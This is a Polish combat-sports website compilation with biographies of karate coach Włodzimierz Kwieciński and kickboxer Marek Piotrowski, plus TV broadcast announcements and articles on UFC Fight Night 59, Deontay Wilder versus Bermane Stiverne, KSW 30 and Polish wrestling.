Pionier i prekursor Karate w Polsce urodzony 3 lipca 1955 roku w Łodzi. Karate uprawia od ponad 40 lat. Przez 20 lat był uczniem sensei’a Hidetaki Nishiyamy – założyciela i pierwszego prezesa Międzynarodowej Federacji Karate Tradycyjnego (ITKF).  Włodzimierz posiada 7 DAN ITKF. Ukończył Wojskową Akademie Medyczną w Łodzi oraz Akademie Wychowania Fizycznego w Krakowie ze specjalizacją trenera karate II klasy.  W 1974 roku założył pierwszą oficjalną sekcję karate przy Wojskowej Akademii Medycznej w Łodzi, która cztery lata później przekształciła się w Łódzki Klub Karate – drugi samodzielny klub karate w Polsce. Zawodnicy ŁKK zdobyli w tamtym czasie wiele medali na arenie krajowej i międzynarodowej. W 1980 roku powstał Akademicki Klub Karate, który stał się w owym czasie najlepszym klubem Karate na Świecie.  Włodzimierz jest założycielem i prezesem Polskiego Związku Karate Tradycyjnego. Związek zrzesza aktualnie ponad 30 tysięcy ćwiczących w około 200 klubach i sekcjach w całej Polsce. Włodzimierz sprawuje również funkcję prezydenta Międzynarodowej Federacji Karate Tradycyjnego.  Jest trenerem – selekcjonerem reprezentacji Polski w Karate Tradycyjnym i twórcą jej sukcesów. W latach 1992-2012 Karatecy kadry narodowej zdobyli 426 medali podczas mistrzostw Świata i Europy, z czego 147 razy były to tytuły mistrzowskie, co czyni ich jedną z najbardziej utytułowanych reprezentacji globu.  Dzięki sukcesom polskiej reprezentacji, nasz kraj został doceniony i Polska stała się gospodarzem wielu międzynarodowych imprez o randze mistrzowskiej.  Włodzimierz był prezesem Komitetu Organizacyjnego następujących zawodów sportowych, które miały miejsce w Polsce:

  • Dwukrotnie Mistrzostwa Świata ( Łódź 2012, Pruszków 1998)
  • Trzykrotnie Mistrzostwa Europy ( Rzeszów 2006, Łódź 1992 i 1999)
  • Sześciokrotnie Puchar Świata
  • Pięciokrotnie Puchar Europy

Włodzimierz jest również inicjatorem budowy Centrum Japońskich Sportów i Sztuk Walki Dojo Stara Wieś – największego na świecie ośrodka japońskich sztuk walki. 

Za swoją działalność Włodzimierz Kwieciński został uhonorowany wysokimi odznaczeniami:

  • Złoty i Srebrny Krzyż Zasługi (2001 i 2012) przyznane przez prezydenta RP za zasługi na rzecz rozwoju Karate Tradycyjnego w Polsce i wybitne osiągnięcia trenerskie,
  • Order Wschodzącego  Słońca, Złote Promienie z Rozetą (2012) najstarsze japońskie wyróżnienie, ustanowione w 1875 roku przez Cesarza Meiji, przyznane Włodzimierzowi przez rząd Japonii za założenie Polskiego Związku Karate i Polskiego Związku Karate Tradycyjnego, promocję Japońskich sztuk walki w Polsce, promocję wymiany sportowej i obywatelskiej między Japonia a Polską, budowę Centrum Japońskich Sportów i Sztuk Walki Dojo – Stara Wieś, oraz za zaproszenie 30 dzieci z terenów zniszczonych w wyniku tsunami i trzęsienia ziemi w Japonii (marzec 2011) na dwutygodniowy pobyt w Polsce w ramach projektu „ Most Solidarności – polskie wakacje dla dzieci z Japonii”
  • Wyróżnienie Polskiego Komitetu Olimpijskiego  „Fair Play 2002” przyznane w 2003 roku „ za zachowanie widowni sportowej zgodne z zasadą fair play, zarówno podczas imprez dla młodzieży, jak i Pucharu Świata w Karate Tradycyjnym w Warszawie oraz podczas Pucharu Europy w Łodzi (2002)

Nagroda „Fair Play” przyznana w 2003 roku przez prezesa Polskiej Konfederacji Sportu za wzorową organizację zawodów, zapewnienie bezpieczeństwa uczestnikom i kulturalne zachowanie publiczności podczas Pucharu Świata Prokom 2003.

Marek "Punisher" Piotrowski

Polski kickbokser i bokser urodzony 14 sierpnia 1964 roku w Dębem Wielkim. Karierę sportową rozpoczął jako bardzo młody adept Jiu-Jitsu, z czasem zainteresował się Karate Kyokushin. W 1984 roku zdobył w tej dyscyplinie Mistrzostwo Polski juniorów. Rok później powtórzył ten sukces jako senior. W karate stoczył 13 oficjalnych pojedynków, wszystkie wygrał. W lipcu 1993 roku stał się posiadaczem czarnego pasa. Z początkiem 1987 roku zaczął trenować Kick-boxing w formule full-contact, mimo że tak dyscyplina była w Polsce wówczas zakazana. 11 października 1987 roku zdobył w Monachium amatorskie mistrzostwo Świata w kategorii wagowej do 81 kg. Tego samego roku wygrał również mistrzostwo Polski, a na Węgrzech Puchar Świata zostając uznanym za najlepszego zawodnika turnieju.  W 1988 roku zdecydował się na wyjazd do USA, aby rozpocząć karierę zawodową.  W październiku wygrał swój pierwszy pojedynek pokonując Boba Handegana.  19 sierpnia 1989 roku w piątej walce w USA wygrał jednogłośnie na punkty, dotychczas niepokonanego  Ricka „The Jet” Roufusa i zdobył zawodowe mistrzostwo Stanów Zjednoczonych organizacji PKC. Do jego nazwiska przyległ również ringowy przydomek Punisher. 4 listopada 1989 roku w Chicago pokonał Dona „ The Dragon” Wilsona i został zawodowym mistrzem świata organizacji ISKA, PKC i FFKA.  Do 1991 stoczył sześć pojedynków , pokonując min. Boba „ The Thunder” Thurmana oraz renomowanego Marka Longo. Do tego momentu był niepokonanym zawodnikiem na zawodowym ringu, z bilansem 29-0-0 (19 KO). 22 czerwca 1991 roku mimo problemów osobistych, stoczył rewanżowy pojedynek z Rickiem Roufusem, który przegrał przez KO w drugiej rundzie.  Po tej porażce rozpoczął karierę w boksie zawodowym, wygrywając pierwszą walkę przed czasem. Następnie do 1992 roku chcąc odzyskać utracony tytuł Mistrza Świata, stoczył kilka wygranych walk w Kick-boxingu.  W lipcu 1992 roku zdobył tytuł Mistrza Ameryki Północnej wygrywając z Kanadyjczykiem Conradem Pla. 22 listopada 1992 roku stanął do pojedynku z  wielokrotnym mistrzem, Holendrem Robem Kamanem. Przegrał ten pojedynek przez TKO w 7 rundzie, po niezwykle dramatycznym pojedynku.  22 czerwca 1993 roku pokonał w Montrealu przez TKO Michaela McDonalda. W tym samym roku pokonał Mike’a Winklejohna, zdobywając tytuł mistrza świata ISKA w formule oriental rulet. W 1995 roku stoczył swoje ostatnie starcie w Kick-boxingu. W Krakowie pokonał Włocha Stefano Tomiazzo, zdobywając pas mistrza świata organizacji WKA i unifikując wszystkie światowe tytuły w full-contact. Tym samym stał się posiadaczem wszystkich najważniejszych pasów mistrzowskich: ISKA, KICK, PKC, WAKO-PRO, FFKA, WKA i TBC. Równolegle ze startami w kickboxingu, Marek kontynuował karierę zawodowego boksera. W latach 1992-1996 stoczył 21 pojedynków w wadze półciężkiej.  Wszystkie pojedynki wygrał.  Zawodową karierę zakończył 13 grudnia 1996 roku w Hanowerze wygraną walką bokserską.  20 listopada 2009 roku został odznaczony przez prezydenta RP Lecha Kaczyńskiego Krzyżem Kawalerskim Orderu Odrodzenia Polski za swoje osiągnięcia sportowe i pracę społeczną. 

Urodzinowa gala Hopkinsa w FightKlubie.

Wieczór z Muay Thai!

Zapraszamy na kolejną galęz cyklu “WCK Full Rule Muay Thai”. W każdy wtorek o 22:00 pokażemy najciekawsze imprezy i najlepsze pojedynki najdłużej działającej na terenie Stanów Zjednoczonych organizacji boksu tajskiego – World Championship Muay Thai. W zmaganiach zobaczycie czołowych zawodników z całego świata rywalizujących na zasadach Muay Thai.

Urodzinowa gala Hopkinsa w FightKlubie.

W nocy z wtorku na środę od 02:00 (powtórka w środę o 11:30) wyłącznie na naszej antenie na żywo galę grupy Golden Boy Promotions w Filadelfii. Jej organizatorzy będą świętować 50. urodziny byłego mistrza świata wagi średniej i półciężkiej, wciąż aktywnego boksersko Bernarda Hopkins. Głównym wydarzeniem imprezy organizowanej w rodzinnym mieście Hopkinsa, będzie zakontraktowany na dziesięć rund pojedynek w kategorii piórkowej pomiędzy Ericiem Hunterem (19-3, 10 KO) i Rene Alvarado (21-3, 14 KO).

W przekazie telewizyjnym znajdą się również pojedynki Michaela Pereza (21-1-2, 10 KO) z byłym mistrzem świata wagi lekkiej Miguelem Acostą(29-7-2, 23 KO) oraz Lamonta Roacha Jr (5-0, 2 KO) z Herbertem Quarteyem (12-10, 9 KO). Transmisja gali w nocy z wtorku na środę od godz. 03.00. Powtórka w środę o 11:30.

Włoski boks na żywo: Emiliano Marsili – Antonio De Vitis

W najbliższą sobotę o 21:00 pokażemy w FightKlubie walkę, której stawką jest tytuł mistrza Europy w wadze lekkiej. Faworytem pojedynku jest niepokonany w karierze Marsili. Włoch nie przegrał żadnej ze swoich trzydziestu jeden walk, broni też tytułu, który zdobył blisko dwa lata temu pokonując Lucę Giacona. W swoich ostatnich walkach pewnie zwyciężył on Gyorgy’a Mizseia Jr., Benoit Manno i Pasquale Di Silvio – stawką każdej z tych walk był pas EBU. Z kolei De Vitis przegrał dwie ze swoich trzech ostatnich potyczek. Najpierw nie sprostał Devisowi Boschiero w walce o tytuł mistrza Europy, a w maju ubiegłego roku przegrał z Edisem Tatlim o interkontynentalny pas federacji WBA.

Źródło: materiały prasowe

McGregor wykonał zadanie

Conor McGregor podczas gali UFC Fight Night 59 w Bostonie pokonał Dennisa Sivera. Irlandczyk zrobił krok w kierunku walki o mistrzowski pas wagi piórkowej.

Nie było innej możliwości. McGregor doskonale wiedział, że Siver jest jedynie przeszkodą na drodze do upragnionego celu. Irlandczyk uchodził za murowanego faworyta do zwycięstwa w rywalizacji z Niemcem. Sam McGregor zapowiadał, że rozstrzygnie pojedynek w dwie minuty, jednak potrzebował nieco więcej czasu. Dominacja fightera z Irlandii była przygniatająca. Początkowo McGregor był ostrożny, jednak od momentu, w którym zranił przeciwnika kolanem w wyskoku był bezwzględny. Siver mógł się tylko bronić przed gradem ciosów. Pierwszą odsłonę Niemiec przetrwał. McGregor niczym wielki mistrz w drugiej rundzie dokończył dzieło. Celny lewy prosty sprawił, że Siver znalazł się na deskach. Irlandczyk dopadł rywala i kilkoma łokciami zakończył pojedynek. Sędzia przerwał walkę – zwycięstwo McGregora stało się faktem.

Irlandczyk zrealizował zadanie, przed którym stanął. Siver był jedynie przeszkodą na drodze do celu. Teraz McGregor czeka na pojedynek o mistrzowski pas. Kiedy nadejdzie jego czas? Wiadomo, że McGregor jest zawodnikiem o dużym potencjale – zarówno sportowym jak i marketingowym. Po wygranej z Siverem wyskoczył z klatki i zatrzymał się dopiero na ochroniarzach. Wzrokiem szukał mistrza wagi piórkowej Jose Aldo. Brazylijczyk na próbę prowokacji ze strony McGregora zareagował uśmiechem. Irlandczyk wie, o co gra i rozpoczyna rywalizację bardzo szybko. Tylko, czy jest w stanie wyprowadzić Aldo z równowagi? Rywalizacja Brazylijczyka i Irlandczyka zapowiada się ciekawie. Pod względem sportowym będzie to z pewnością efektowny pojedynek. O wrażeniach wokół walki zadba już McGregor.

Niespełna cztery minuty trwał pojedynek Halla i Stallingsa. Publiczność nie nacieszyła się długo rywalizacją fighterów. Hall szybko posłał rywala na deski. Dodatkowo łokciami rozciął mu policzek i łuk brwiowy. Interweniować musiał lekarz, który zdecydował, że Stallings nie może kontynuować rywalizacji. Gleison Tibau zwyciężył Normana Parke’a przez decyzję sędziów – 29-28, 29-28, 28-29. Przez dłuższą część walki rywalizacja toczyła się w stójce. Parke w trzeciej rundzie zaatakował przeciwnika, jednak było już za późno na odwrócenie losów pojedynku. Donald Cerrone na punkty okazał się lepszy od Bensona Hendersona.

W końcu zwycięstwo odniósł Lorenz Larkin. Po trzech porażkach z rzędu przyszła kolej na wygraną. Larkin pokonał Johna Howarda już w pierwszej rundzie. Po mocnym prawym sierpowym ruszył za rywalem i ciosami w parterze zakończył pojedynek. Johnny Case odniósł dziesiąte zwycięstwo z rzędu, a jego kolejną ofiarą padł debiutant – Franki Perez.

Najważniejsza wiadomość z Bostonu – McGregor zwycięski. Irlandczyk kroczy po mistrzowski pas. Tak naprawdę Siver nie był wymagającym rywalem, wygrana McGregor w pełni zasłużona. Z Aldo nie będzie już tak łatwo, ale może być niezwykle widowiskowo. 

Wyniki UFC Fight Night 59:

Walka wieczoru: 145 lbs: Conor McGregor pokonał Dennisa Sivera przez TKO 

Karta główna:
155 lbs: Donald Cerrone pokonał Bensona Hendersona przez jednogłośną decyzję 
185 lbs: Uriah Hall pokonał Rona Stallingsa przez TKO 
155 lbs: Gleison Tibau pokonał Normana Parke’a przez niejednogłośną decyzję 

Walki w FOX Sports 1:
170 lbs: Cathal Pendred pokonał Seana Spencera przez jednogłośną decyzję 
170 lbs: Lorenz Larkin pokonał Johna Howarda przez TKO 
155 lbs: Chris Wade pokonał Lipenga Zhanga przez jednogłośną decyzję .
125 lbs: Patrick Holohan pokonał Shane’a Howella przez jednogłośną decyzję 
155 lbs: Johnny Case pokonał Frankiego Pereza przez TKO 
145 lbs: Charles Rosa pokonał Seana Soriano  przez poddanie 

Walki w Fight Pass:
205 lbs: Sean O’Connell pokonał Matta Van Burena przez TKO 
125 lbs: Joby Sanchez pokonał Tatekiego Matsudę przez niejednogłośną decyzję 

KM

Zapaśnicza rywalizacja z najlepszymi

W tegorocznym Pucharze Świata kobiet w akcji zobaczymy reprezentację Polski. Biało – czerwone trafiły do trudnej grupy, ale udział w imprezie tej rangi z pewnością będzie wartościowym doświadczeniem dla naszych zawodniczek.

Warto nadmienić, że w Pucharze Świata występuje najlepsza ósemka ostatnich mistrzostw świata. W związku z tym w zawodach udział wezmą: Japonia, Rosja, USA, Ukraina, Szwecja, Mongolia, Polska oraz Azerbejdżan. W ostatniej edycji Pucharu Świata w Tokio zwycięstwo odniosła reprezentacja Japonii.

Polki poznały ekipy, z którymi przyjdzie im rywalizować w dniach 7-8 marca w St. Petersburgu. Biało – czerwone trafiły do grupy A z Japonkami, Amerykankami i Azerkami. W grupie B znalazły się: Rosja, Ukraina, Szwecja i Mongolia. O zwycięstwo w turnieju zmierzą się najlepsze ekipy z obu grup. Drużyny z drugich miejsc powalczą o trzecie miejsce w zawodach Pucharu Świata.

Dla reprezentacji Polski udział w Pucharze Świata to ogromne wyróżnienie, a zarazem pokłosie dobrego występu podczas mistrzostw świata w Taszkiencie. Warto dodać, że do tegorocznej edycji nie zakwalifikowały się Chinki, które w poprzednich zawodach uplasowały się na trzeciej pozycji oraz Kanadyjki. Biało – czerwone mają szansę sprawdzić się w rywalizacji z najlepszymi. Z pewnością start w Pucharze Świata będzie dobrą płaszczyzną przygotowań do mistrzostw świata w Las Vegas.

Dla Polek będzie to debiut w rywalizacji. W Pucharze Świata biało – czerwone zaprezentują się po raz pierwszy i nie wystąpią w turnieju w roli faworyta. Nie ma, co ukrywać, że szanse naszej reprezentacji na sukces są znikome. Polska trafiła do mocnej grupy. Wydaje się wręcz nieprawdopodobne, aby biało – czerwone były w stanie zagrozić Japonkom, które będą faworytkami do zwycięstwa. Amerykanki również prezentują poziom wyższy od Polski. Jednakże nie można skreślać przedwcześnie naszej reprezentacji. Z każdego doświadczenia trzeba wyciągnąć wnioski i dostrzec w nim wartość. Potencjał polskich zapasów obecnie nie osiąga poziomu, którego byśmy sobie życzyli, jednakże należy doceniać każdy sukces. Takim z pewnością jest udział w Pucharze Świata. Jedynie Azerbejdżan jest teoretycznie słabszą ekipą niż Polska i w tej rywalizacji możemy liczyć na sukces. Z pewnością medal pozostaje w sferze marzeń, jednak o piąte miejsce nasza reprezentacja jest w stanie powalczyć.

Tegoroczny Puchar Świata odbędzie się w dniach 7-8 marca w St. Petersburgu. Polska wystąpi jako debiutant w imprezie tej rangi. Dobry występ podczas mistrzostw świata w Taszkiencie sprawił, że biało – czerwone czeka rywalizacja na naprawdę wysokim poziomie. Warto nadmienić, że w lutym nasze reprezentantki udadzą się na zgrupowanie do Szwecji. W składzie kadry znalazło się dziesięć zawodniczek: Roksana Zasina, Katarzyna Krawczyk, Anna Zwirydowska, Anna Łukasiak, Paula Kozłow, Agnieszka Wieszczek – Kordus, Daria Osocka, Paulina Grabowska, Iwona Matkowska oraz Monika Michalik.

De facto Puchar Świata będzie cennym doświadczeniem i dobrym przygotowaniem do mistrzostw świata. W Las Vegas nasze zawodniczki powalczą o jak najlepsze miejsce i coś więcej. O przepustkę do Rio.

KM

Król Wilder

Stało się! Amerykanin na tronie wagi ciężkiej. Deontay Wilder został mistrzem świata federacji WBC odbierając tytuł z rąk Bermane Stiverne’a.

Zdecydowanie wyższy i zadający potężne ciosy Wilder zdaniem wielu od początku miał rzucić się na rywala. Zwracano uwagę na fakt, że Amerykanin nigdy nie walczył przez cały dystans walki. Stiverne mógł zakładać, że im dłużej będzie trwał pojedynek to sytuacja będzie obracała się z korzyścią dla niego. Wilder zaskoczył wszystkich – wytrzymał dwanaście rund.

Ponad trzydzieści zwycięstw i brak porażki mówi sam za siebie, jednakże Amerykanina przed pojedynkiem o pas nie doceniano. Eksperci i komentatorzy podważali jego szanse. Wielu wskazywało, iż to przeciętny bokser i walka o mistrzowski pas przerośnie Amerykanina. Widler utarł nosa niedowiarkom, a obaj pięściarze stworzyli świetne widowisko.

Początkowo Wilder trzymał rywala na dystans. Stiverne starał się skracać dystans i trzymał wysoko gardę, jednak pretendent znalazł receptę na zachowanie przeciwnika. Pod koniec drugiej rundy Wilder zbombardował rywala i ten padł na deski, ale razem z Amerykaninem. Mistrz WBC upadając złapał się przeciwnika i pociągnął go ze sobą. Wilder konsekwentnie starał się rozbijać rywala lewym prostym, z kolei Stiverne szukał możliwości zaskoczenia rywala, jednak było to niezwykle trudne. Kanadyjczyk starał się skracać dystans, aktywnie poruszał się. W czwartej rundzie zadał kilka celnych ciosów i ta odsłona padła jego łupem. Wydawało się, że kłopoty Wildera mogą rozpocząć się w każdej chwili, jednak Amerykanin był w pełni formy i nie było widać po nim zmęczenia. Stiverne nie ustawał w swoich staraniach aż w końcu zrobił wrażenie na swoim przeciwniku. W szóstej rundzie lewy sierpowy mistrza zrobił wrażenie na pretendencie. Stiverne wyczuł swoją szansę i atakował rywala. Prawy, lewy sierpowy w wykonaniu mistrza, która nadział się na kontrę Wilder. W siódmej rundzie potężny cios Amerykanina zachwiał bokserem z Kanady. Wilder kontrolował przebieg pojedynku i miał świadomość, że w notowaniach sędziowskich prowadzi. Stiverne starał się skracać dystans, jednak Amerykanin doskonale wyczuwał zamiary przeciwnika i powstrzymywał jego dążenia.

W przerwie między dziewiątą, a dziesiątą rundą Kanadyjczyk dostał w narożniku informację, że na punkty przegrywa. Niestety, nie pomogło. Stiverne był już wyczerpany, nie potrafił zagrozić przeciwnikowi. Z kolei Wilder spokojnie chciał dotrwać do końca. Sędziowie podjęli jednogłośną decyzję. Arbitrzy punktowali: 118-109, 119-108, 120-107 na korzyść Wildera.

Amerykanie doczekali się. Po ośmiu latach w końcu mają mistrza świata w wadze ciężkiej. Wilder udowodnił swoją wartość i pokazał, że nie jest bokserem przypadkowym. Jak widać Amerykanin jest w stanie wytrwać cały dystans walki. Mądra taktyka, punktowanie rywala dały efekt. Z pewnością istotna była przewaga wzrostu oraz siła Wildera, który potrafił celnie trafić Stiverne’a i zrobić na nim niebagatelne wrażenie. Warto odnotować, że pojedynek był niezwykle ciekawy. Nie były to swego rodzaju bokserskie szachy tylko prawdziwa walka. Poziom sportowy rywalizacji należy ocenić wysoko.  Wilder i Stiverne pokazali boks, za którym wielu tęskni – emocje, efektowne ciosy, wymiany. W wadze ciężkiej panuje nowy mistrz. Pas WBC trafił w ręce Wildera. Czy Kliczko musi zacząć się bać?

KM

KSW 30: Mańkowski wystąpi jako gwiazda

Borys Mańkowski wystąpi w walce wieczoru podczas 30 gali Konfrontacji Sztuk Walki. Zawodnik Anakosu Zapasy Poznań po raz drugi będzie bronił mistrzowskiego pasa w kategorii półśredniej. KSW 30 odbędzie się 21 lutego w Poznaniu.

Na początek o jedynej kobiecie, która zaprezentuje się podczas poznańskiej gali. Karolina Kowalkiewicz po raz drugi stanie w obronie mistrzowskiego pasa federacji KSW. Fighterka tytuł wywalczyła podczas KSW 23, kiedy to w siedemdziesiąt jeden sekund poddała Martę Chojnoską. W pierwszej obronie pasa Polka zmierzyła się z Jasminką Cive, którą odprawiła już w pierwszej rundzie. Kowalkiewicz poczyna sobie coraz śmielej w mieszanych sztukach walki. Pobyt w Stanach Zjednoczonych z pewnością pozytywnie wpłynął na zawodniczkę oraz jej warsztat. Sam fakt, że Kowalkiewicz od dłuższego czasu gości w karcie walk KSW mówi sam za siebie. W Poznaniu fighterka po raz drugi stanie w obronie mistrzowskiego pasa. Z pewnością udowodni swoją wartość, gdyż jej umiejętności predysponują ją do występów na najwyższym poziomie. Pytanie: kiedy Kowalkiewicz podbije świat? W końcu klasyfikowana jest jako siódma zawodniczka dywizji słomkowej.

 

Były mistrz KSW Aslambek Saidov zmierzy się z Rafałem Moksem. "Kulturysta" ostatnio prezentuje się bardzo dobrze i w każdej kolejnej walce porywa publiczność. Czy tak będzie w rywalizacji z Saidovem? Były mistrz wraca do rywalizacji po problemach osobistych, a więc jego forma jest niewiadomą. Moks, który jest czołowym polskim grapplerem, w sposób szczególnych podchodzi do rywalizacji z Saidovem. Obaj panowie spotkali się na KSW 17 i wtedy lepszy okazał się  pochodzący z Czeczenii zawodnik. Ponadto, rywalizacji smaczku dodaje fakt, że zwycięzca zapewne będzie pretendentem do pasa.

Na KSW zaprezentuje się Anzor Azhiev. Ogromny talent i wielka nadzieja organizacji. Azhiev podczas swojej walki z Helsonem Henriquesem na KSW 28 zaprezentował bogaty repertuar zagrań, starcie było niezwykle widowiskowe i zostało uznane za najlepszy pojedynek wieczoru. Fighter coraz lepiej radzi sobie na galach organizacji. Przede wszystkim walczy widowiskowo i nie ucieka od rywalizacji. Czy z Poznaniu udowodni swoją wartość?

Daniem głównym KSW 30 będzie walka Borysa Mańkowskiego. W ostatnim pojedynku "Diabeł Tasmański" bez większych problemów uporał się z Dawidem Zawadą. Czy kolejny rywal zawiesi wyżej poprzeczkę mistrzowi? Mańkowski stał się twarzą KSW. Ciężka praca, wyczerpujący trening, wytrwałość, profesjonalne podejście do sportu dało efekt. Mańkowski wszedł na szczyt i nie zamierza z niego schodzić. Czy nada marce KSW nowy blask i zmieni oblicze polskiego MMA? W Poznaniu musi wygrać, nie ma innej możliwości.

Poznaliśmy pięć nazwisk karty walk KSW 30. Czekamy na kolejnych fighterów i kolejne emocje. Z pewnością fakt, że Mańkowski będzie gwiazdą wieczoru świadczy o docenieniu jego postępów przez włodarzy federacji. Wydaje się, że w federacji nadchodzi czas zmian, pewnych przetasowań. Coraz więcej Mańkowskiego i młodszych zawodników, a stare wilki leczą swoje urazy.

KM

UFC po polsku

Informacja o gali UFC w Polsce  zrobiła ogromne zamieszanie. Rzecz jasna –to nic pewnego, ale sama możliwość  organizacji takiej imprezy podziałała na wyobraźnię wielu. Czy w Polsce odbędzie się gala UFC?

Konkretów jeszcze nie ma, ale nieoficjalnie krążą pewne informacje. Wszystko wskazuje na to, że gala UFC miałaby mieć miejsce w Krakowie. Kiedy? Prawdopodobnie w kwietniu. De facto czas goni i przydałoby się mieć pewność, co do kwestii organizacji imprezy. UFC ma ogłosić rozkład swojego kalendarza podczas konferencji prasowej przed  galą w Sztokholmie, która odbędzie się 24 stycznia. Wtedy dowiemy się wszystkiego, poznamy szczegóły planów organizacji i będziemy mogli przygotowywać się na wrażenia najwyższych lotów. Jednak trzeba zachować spokój – coś jest na rzeczy, ale dopiero oficjalnie potwierdzenie będzie gwarantem.

W związku z całą sytuacją pojawiają się również kolejne interesujące fakty. Fantastyczny debiut Jana Błachowicza w UFC nie przeszedł bez echa. John efektownie i widowiskowo rozprawił się Ilirem Latifim. Teraz polski fighter czeka na kolejną walkę. Istnieje duże prawdopodobieństwo, że Błachowicza zobaczymy podczas planowanej (niezaplanowanej) gali w Polsce. Zawodnik Ankosu Zapasy Poznań po swoim debiucie w UFC zyskał pozytywne oceny i czeka kolejny pojedynek. Gdyby miało dojść do niego w Polsce… Coś fantastycznego. Z pewnością dla Johna spełnienie marzeń, wyróżnienie i radość, że pod egidą tak uznanej marki mógłby walczyć w ojczystym kraju. Bajkowo. A wręcz cudownie. Czekamy na potwierdzenie. Co do rywala, w tej kwestii nie ma żadnych informacji. Z pewnością UFC doskonale orientuje się, że Błachowicza stać na wiele i może rywalizować z najlepszymi.

Wiadomo, że o pas mistrzowski walczyć będzie Joanna Jędrzejczyk. Wydawało się, iż naturalne w tym wypadku byłoby zorganizowanie pojedynku w Polsce, jednak UFC ma nieco inne plany, co do naszej zawodniczki. Jędrzejczyk o pas mistrzowski rywalizować będzie z Carlą Esperzą na UFC 185 w Dallas. Wydarzenie będzie miało miejsce 14 marca.

""

Jędrzejczyk w UFC pojawiła się w lipcu ubiegłego roku. W wadze słomkowej Polka stoczyła dwa pojedynki, w których odniosła zwycięstwa. Wygrana z Claudią Gadelhą to ogromny sukces naszej zawodniczki. Rywalka postawiła wysokie wymagania Jędrzejczyk, ale w ostatecznym rozrachunku sędziowie uznali, że to fighterka znad Wisły zasłużyła na zwycięstwo. Dzięki dobrej postawie Polka dostała szansę walki o pas mistrzowski. Pojedynek z Esperzą jest niemalże pewny, jednak warto poczekać na oficjalne potwierdzenie ze strony organizatora.

Przy okazji warto wrócić do wydarzeń mających miejsce na UFC on FOX 13, a w zasadzie ich następstw. Wygrana Jędrzejczyk z Gadelhą pozwoliła Polce na określony dochód. Za sam pojedynek zawodniczka z Olsztyna zarobiła dziesięć tysięcy dolarów, dodatkowo za wygraną dostała kolejne dziesięć tysięcy. Najwięcej na UFC on FOX 13 zarobił Junior Dos Santos – dwieście sześćdziesiąt tysięcy.

Jędrzejczyk będzie walczyła o pas. Jana Błachowicza czeka kolejny pojedynek w UFC. Czy stoczy go w Polsce? Niewykluczone, że tak, jednak czekamy na potwierdzenie organizacji gali UFC w naszym kraju. Zamieszania wiele, a to dopiero domysły. Co będzie, gdy to wszystko się potwierdzi? Euforia. Co dalej? Jak to będzie? Musi się udać. Tylko spokojnie – bez nadmiernego pobudzania się.

KM

 

Bestia zaatakuje Stiverne’a

Deontay Wilder stanie 17 stycznia przed wielką szansą. Amerykański bokser zmierzy się z mistrzem świata federacji WBC wagi ciężkiej Bermane’m Stiverne’m. Czy wygra i będzie dzierżył w swych dłoniach pas?

Ten dzień może być wyjątkowy dla Wildera, jeśli oczywiście zwycięży. Jednakże pojawiają się głosy podważające umiejętności pięściarza. Krytycy Wildera uważają, że jest bokserem przeciętnym, który w żaden sposób nie zasłużył na walkę o pas mistrzowski. Czy Amerykanin zamknie usta swoim przeciwnikom? Z pewnością wygrana ze Stiverne’m byłaby najlepszą odpowiedzią, jednak wtedy mogą pojawić się głosy mówiące o tzw. farcie. Wilder doskonale zna to wszystko z autopsji. Po zwycięstwie w rywalizacji z Malikiem Scottem wielu kwestionowało sukces Amerykanina. Wilder staje do rywalizacji o pas mistrzowski WBC, ale przy okazji musi walczyć ze swoimi krytykami. Fakt, że docierają do niego takie informacje z pewnością nie pomaga mu. Z drugiej strony może obudzić się w nim sportowa złość, której fala eskalacji będzie miała miejsce w ringu. Coś, co fantastycznie obrazuje dialog z naszego, jakże fantastycznego, „Kilera”:

„- Masz być jak bulterier!

– Będę.

– Jak wściekły byk!

– Będę!

– Jak Tommy Lee Jones w Ściganym!

– Będę!”

W „Kilerze” miała miejsce motywacja pozytywna, gdy komisarz Ryba był „nakręcany” przez swojego szefa. Z kolei Wilder musi porzucić głosy krytyki i mieć na uwadze swoją wartość. A jeśli w nią wątpi – tu niezwykle ważna jest rola trenera i całego teamu. Być może te wszystkie głosy podziałają na Wildera jako motywacja. Motywacja do tego, aby coś udowodnić i uwiarygodnić się. Nie tyle w oczach tych ludzi, ale w swoich własnych. W takich sytuacjach często w człowieku rodzi się myśl zastanowienia nad kwestią własnego potencjału. Dla Wildera najważniejsza jest walka i na tym powinien się skupić. W ringu musi udowodnić swoją wartość.

W blasku fleszy Wilder wkroczy na ring w Las Vegas. Bokser, który ma na swoim koncie trzydzieści dwa zwycięstwa na zawodowym ringu liczy, że uda mu się zdobyć mistrzostwo świata. Byłoby to wydarzenie. Jakby nie patrzeć – od dłuższego czasu żaden Amerykanin nie królował w wadze ciężkiej. Wilder nie ma zamiaru oszczędzać swojego rywala: – Moim celem jest obudzić w sobie bestię. Jestem przygotowany do walki. Postaram się wskrzesić wagę ciężką. Znokautuję tego gościa i będzie on kolejnym, którego umieszczę w swoim rekordzie.

Bermane Stiverne do całej sprawy podchodzi spokojnie. Mistrz zapewnia, że nie ma mowy o presji. –  Naprawdę nie czuję żadnych emocji przed walką z Deontayem Wilderem. Najważniejsze jest, aby obronił tytuł – powiedział mistrz WBC.

Mistrz czy pretendent? Spokojny Stiverne stanie w ringu z Wilderem, który imponuje rekordem, ale przez wielu uważany jest za niegodnego mistrzowskiej walki. Czy głosy krytyki wzmocnią Amerykanina i sprawią, że będzie chciał udowodnić swoją wartość? Chyba nie na tym rzecz polega. Wilder jest profesjonalistą, więc do takich głosów musi być przyzwyczajony, ale nie ukrywajmy, że jest to dla niego test. Test z dojrzałości. Czy zaburzy spokój Stiverne’a? Musi obudzić w sobie bestię.

KM

ESPN Friday Night Fights z Verony i World Combat Games – premiery w FightKlubie

ESPN Friday Night Fights z Verony

Na wczesną pobudkę powinni być gotowi fani gal ESPN Friday Night Fights. W nocy z piątku na sobotę o g. 03:00 pokażemy drugą w tym roku walkę z tego cyklu. Powtórka w sobotę o g. 11:30. Tym razem obejrzymy dwóch zwycięzców turnieju Boxcino, organizowanego w zeszłym roku przez telewizję ESPN.W głównej walce wieczoru wystąpi triumfator turnieju w kategorii średniej – Willie Monroe Jr. “The Moongose” wygrał trzy turniejowe pojedynki z rzędu, w finale wysoko na punkty pokonując niezwyciężonego wcześniej Brandona Adamsa. Rywalem 28-letniego mańkuta będzie bardzo doświadczony Brian VeraW ciągu trwającej 11 lat kariery Amerykanin pokonywał już takich bokserów jak: Sergio Mora, Sergiej Dzinziruk, czy Andy Lee.

